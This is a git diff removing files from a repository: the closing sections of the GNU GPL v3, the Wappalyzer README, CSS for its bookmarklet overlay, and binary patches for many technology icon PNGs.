separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. \ No newline at end of file diff --git a/Wappalyzer/README.md b/Wappalyzer/README.md deleted file mode 100644 index ed5b44b..0000000 --- a/Wappalyzer/README.md +++ /dev/null @@ -1,22 +0,0 @@ -# Wappalyzer - -[Wappalyzer](https://wappalyzer.com/) is a -[cross-platform](https://github.com/ElbertF/Wappalyzer/wiki/Drivers) utility that uncovers the -technologies used on websites. It detects -[content management systems](https://wappalyzer.com/categories/cms), -[eCommerce platforms](https://wappalyzer.com/categories/ecommerce), -[web servers](https://wappalyzer.com/categories/web-servers), -[JavaScript frameworks](https://wappalyzer.com/categories/javascript-frameworks), -[analytics tools](https://wappalyzer.com/categories/analytics) and -[many more](https://wappalyzer.com/applications). - -Refer to the [wiki](https://github.com/ElbertF/Wappalyzer/wiki) for -[screenshots](https://github.com/ElbertF/Wappalyzer/wiki/Screenshots), information on how to -[contribute](https://github.com/ElbertF/Wappalyzer/wiki/Contributing) and -[more](https://github.com/ElbertF/Wappalyzer/wiki/_pages). - -*Licensed under the [GPL](https://github.com/ElbertF/Wappalyzer/blob/master/LICENSE).* - -Donate Bitcoin: 16gb4uGDAjaeRJwKVmKr2EXa8x2fmvT8EQ - *Thanks!* - -![QR Code](https://wappalyzer.com/sites/default/themes/wappalyzer/images/bitcoinqrcode.png) diff --git a/Wappalyzer/drivers/bookmarklet/css/wappalyzer.css b/Wappalyzer/drivers/bookmarklet/css/wappalyzer.css deleted file mode 100644 index 6783665..0000000 --- a/Wappalyzer/drivers/bookmarklet/css/wappalyzer.css +++ /dev/null @@ -1,118 +0,0 @@ -div#wappalyzer-container * { - background-color: transparent !important; - border: none !important; - border-left: none !important; - border-top: none !important; - border-right: none !important; - border-bottom: none !important; - border-spacing: 0 !important; - color: inherit !important; - font-size: inherit !important; - font-weight: inherit !important; - font-family: inherit !important; - font-style: inherit !important; - line-height: inherit !important; - list-style: none inside !important; - margin: 0 !important; - outline: none !important; - padding: 0 !important; - text-align: inherit !important; - text-decoration: none !important; - white-space: inherit !important; -} - -#wappalyzer-container { - background: #fff !important; - border: 1px solid #999; - box-shadow: 0 0 10px rgba(0, 0, 0, .2) !important; - color: #222 !important; - font-family: Arial, sans-serif !important; - font-size: 14px !important; - line-height: 1.5em !important; - margin: 0 !important; - position: fixed !important; - text-align: left !important; - right: 20px !important; - top: 20px !important; - width: 250px !important; - z-index: 99999 !important; -} - - #wappalyzer-container #wappalyzer-pending { - background-repeat: no-repeat !important; - background-position: center center !important; - height: 60px !important; - } - - #wappalyzer-container a#wappalyzer-close:link, - #wappalyzer-container a#wappalyzer-close:hover, - #wappalyzer-container a#wappalyzer-close:active, - #wappalyzer-container a#wappalyzer-close:visited { - background: #f8f8f8 !important; - border-bottom: 1px solid #ccc !important; - display: block !important; - font-weight: bold !important; - line-height: 30px !important; - text-align: center !important; - } - - #wappalyzer-container #wappalyzer-close:hover { - background: #f4f4f4 !important; - color: #0072B6 !important; - } - - #wappalyzer-container #wappalyzer-empty { - border-bottom: 1px solid #ccc !important; - color: #999 !important; - display: block !important; - line-height: 30px !important; - text-align: center !important; - } - - #wappalyzer-container #wappalyzer-apps { - padding-top: 2px !important; - } - - #wappalyzer-container #wappalyzer-apps img { - vertical-align: middle !important; - } - - #wappalyzer-container #wappalyzer-apps a:link, - #wappalyzer-container #wappalyzer-apps a:hover, - #wappalyzer-container #wappalyzer-apps a:active, - #wappalyzer-container #wappalyzer-apps a:visited { - display: block !important; - text-decoration: none !important; - } - - #wappalyzer-container #wappalyzer-apps a:hover { - color: #0072B6 !important; - } - - #wappalyzer-container #wappalyzer-apps div.wappalyzer-app { - background: #fff !important; - border-radius: 5px !important; - -moz-border-radius: 5px !important; - -webkit-border-radius: 5px !important; - margin: 0 2px 2px 2px !important; - padding: 7px 10px !important; - } - - #wappalyzer-container #wappalyzer-apps a.wappalyzer-application:link, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-application:hover, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-application:active, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-application:visited { - font-weight: bold !important; - margin-bottom: 3px !important; - } - - #wappalyzer-container #wappalyzer-apps a.wappalyzer-category:link, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-category:hover, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-category:active, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-category:visited { - color: #999 !important; - } - - #wappalyzer-container #wappalyzer-apps a.wappalyzer-category:hover { - color: #0072B6 !important; - } diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/1C-Bitrix.png b/Wappalyzer/drivers/bookmarklet/images/icons/1C-Bitrix.png deleted file mode 100644 index 0d9b16acf34a038eb0fdbc527684d4cf91099151..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 369 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}X@F0NE0F&G|Nk)_0|eqT08m9hAGJ<@Hf71}^je1y&%Z#6#Y=+xf*IHZ6bc#|Crn+i zVb6hs=Pz8k_x0PaUw_^#;7tH3nd0f<7*Y|Jdp=y~kO2=%KqGHk0!QuBSzO=km87hh z?cY3~Ei3v<-t~6!;;Z6e($v|1YdG}e({(k zW6`oh0>{mnc_)f;%z4-%o0Gfa%OtlIyu2lI{cWD5wlT%LD&niHnx>o5aL2f~es%eU sU92B=++*D0;>weC=6!VT+fQ%Vw=LzL`)h)!F3^1pp00i_>zopr0L>zwcK`qY diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/1und1.png b/Wappalyzer/drivers/bookmarklet/images/icons/1und1.png deleted file mode 100644 index 634321838e65a2ed8c58fe16580ea87ab52d07bb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 288 zcmV+*0pI?KP)ssM5&<&_SHLS(D$E5>0as$b5`jgJOJmxCQv~6#?-Dkw=N1YiF>3s@ zBY+qkHqHD&OijXC|GQ;)XFV54%NRVR;8&)D$j9={gEU3*PgmhZQo9#h6>;>ule#3 T{OmF?00000NkvXXu0mjf8YTA? diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/3DM.png b/Wappalyzer/drivers/bookmarklet/images/icons/3DM.png deleted file mode 100755 index f3115c7886cbfc3c00dc58cb589ef56bc33cae6f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 631 zcmV--0*L*IP)u~iv}B4r?gfC8h;-V7+eH7Q& zmlrg43oP~wXyKhmU{Redq2~XO7%VPzM3CLrj=&dGV;`WV^){O)El#kSKZ)`Il7+t6 zr_0)IAJuyjNYEeCBfYclQ(}Nv0`qoKWTYB_Quu)c8YuZUF!V7B)NY~%xAIaZe5jJj z89lPO>iHJaZ3*Nx5Cp0No@_1i zBvuxggXnz(<+(GBdMfw{3`wKPs6<#!V Rj|>0+002ovPDHLkV1js9BXj@& diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/3dCart.png b/Wappalyzer/drivers/bookmarklet/images/icons/3dCart.png deleted file mode 100644 index 6813cc2fd8162dcd2a2e969c7ed929cc1a7cbfd7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 339 zcmV-Z0j&OsP)Lp;5)K)7g&D+i~b8~acCpV}IN)}X0c8Wgc;(Gu~iv}B4r?gfC8h;-V7+eH7Q& zmlrg43oP~wXyKhmU{Redq2~XO7%VPzM3CLrj=&dGV;`WV^){O)El#kSKZ)`Il7+t6 zr_0)IAJuyjNYEeCBfYclQ(}Nv0`qoKWTYB_Quu)c8YuZUF!V7B)NY~%xAIaZe5jJj z89lPO>iHJaZ3*Nx5Cp0No@_1i zBvuxggXnz(<+(GBdMfw{3`wKPs6<#!V Rj|>0+002ovPDHLkV1js9BXj@& diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AMPcms.png b/Wappalyzer/drivers/bookmarklet/images/icons/AMPcms.png deleted file mode 100644 index 1d528c84bdb09aba8603e3d4e108d919c1965c70..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 779 zcmV+m1N8ifP)jLTEG$$bkw{N%ZEasoP0e#n)1rRA zztv)~q>z81X*xkw)vl`QY81`!L6$x6dc9Cp6_H2;fk5D%D2iqhkJ)Ta@OV5sa`Qa> zY3YW|44tmB(+vSCgKpwXVzi*30HI(IvMk?a7$$|p;(0#Z$O`Y_>}zo=pw2+0Naq{hvO*1n>^{eh)tfAE2lE#LxD1Wg5{roH=(SNqRzJZCoZN z)RpHRym@Xt@IDIs_yl~pfnNh{cyp@-t807@n-|#=9ZuIqo6UBgjN&+MiXdc`W@eca zrI|BtUua^1r@QdS5b!D+1Dz94UN~d8ZK;$c=Q%5RUg#pDoK9!0-EKcXbaIaC_Vqdn zxSs+1dIaDi@HhqUc8)>4-#WauO0;K*oXcorU1XG^DBad<={nIhFI5hnUd#hmQh_h4 zfqpB{n}~r;X=n^PAMf9~Ace$I6y>tl>-}nES#IT$dCZ2&yr;d3SiEUZ!so7Jyf|dQ zku|pAEsgUlNjz@1yCW0|!j>(aC%Ww|;mi$H_MUy!_P0k{W(@9Fk$tmXbA*X*%2XRPNFW+-q&Ua5Dx{d~E{N8$gG8y4==hO*;P(b1lMRAYM=R-IgMp;?7 zZX@qC1;e_V24*w zUIw)F!uBaEuF%ik%UKBS@*Wk+68;JLi`5HYXHFP9AqqOI-{%=RZvq4k*H&m z>y=R(m7Ib?i%q1ouUCo9G<5gD)+HQ0xeCbf%X2RYL;oO*CZV<-Cgbps>p@mQb^!2A zkbt@d7#w$RN~Bp0By(={=#cYZQ4OR{+-V0Xh18TZq# z`M!LQ(Tv6c19ohokazyaZ~2dSMpIa%fEnLN0#ZxR*aQP(zxd+IF~#XGdu4YWU#20s zsLSM->G?C6a3sfP;6{oMp5gF1NAh3C>AkH-SNlR@bprr`AqW+?Ypv%Km;;s0uV?8Z P00000NkvXXu0mjf$NJ3} diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AT Internet Analyzer.png b/Wappalyzer/drivers/bookmarklet/images/icons/AT Internet Analyzer.png deleted file mode 100644 index 8d058a187aa7e95d8375d1667acf181af890b742..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 796 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 LR?3V?drtfZYf`-W diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AdRiver.png b/Wappalyzer/drivers/bookmarklet/images/icons/AdRiver.png deleted file mode 100644 index be6b259eb17ab1de2542458d1fb2168175e9e50f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 299 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabR7dy#sNMdu0Yz``@g^c|I*U`J9qx? z>iWNA$$wwp{}B=YJw5-syZ?7{`|s!X-^b^FaPa@o(Er!3|7Sn#a2}|Qu_VYZn8D%M zjWi%1P||pYc9OiE%q_EWhr+p5}1fZ3Y`YC+^ie@j+kL`h`~- vo3>*p-z>q@j6TLSDVhsRA7;fTyso~tO_M2EC(`5*(8Ua%u6{1-oD!M<)Y*OJ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AdRoll.png b/Wappalyzer/drivers/bookmarklet/images/icons/AdRoll.png deleted file mode 100644 index d609e56d8b3d8b0bb3d79a734a77a4ae55a26c65..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 633 zcmV-<0*3vGP)4(tnsoV2Ta};?1001#`QchC< z+13N)=>h@RTtwH^=idPZ<>KPpq}k2Fl5|iC=-bjcB<;6h7=%|Z9TTmdk8wdCvm0*64JBy|S^gYUg{Q2%^)&@qRIIA;;&F$)%h z{8mL*xR7#1bAz-4yn~;vgZJOKuKaz{uvD9DauxSu7~9X z=BXi2acQ5+rYdRZzkS;WM;|G|SXYPWdbR!o-cZ$T=RV@EHSO2jxzG6w7CHG3j%gWk T%eTNx00000NkvXXu0mjf8Rb8C diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adcash.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adcash.png deleted file mode 100644 index 3572b3fbc90353205013453e217be6d9a871e366..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 621 zcmV-z0+RiSP) zy>1gx5QV?lyS5X^kF4~FC!nRGAuSyef)}7bh>{YNo{oZ&1|d2MS|Y&%fB^9VG?4;D z60*kYy?gJW@MdKJc6OZ@36YVuo1Zf?=geI=vokxh|J`g+iJx4!bIqB(0yM35lwPL` z?CeT1?r&<7GF?p;I9)aIX*GeDm+r4dxDCW9E-nzC-}v-sr)kbs0J7+x_S2>7vwVW= zE^x7F&Q>cZW9SqyAnC+SNx}r_v&{$V4!b;KXa3gq)|)Z2j4Tvvbe0<}_|L=;3C2L4 zedQtTTJpur)@KF1*nD{J=JwWOfGBZT7ObS*ximji$@e&-R756H%vKu2Zq!N4$YV)Q zj+6v5o7t^ZDjdq!h0P2zLx{QVfSGaNNAx>OxCxn0a>J@=jqvP;(HKlscy1N^3S!Ua 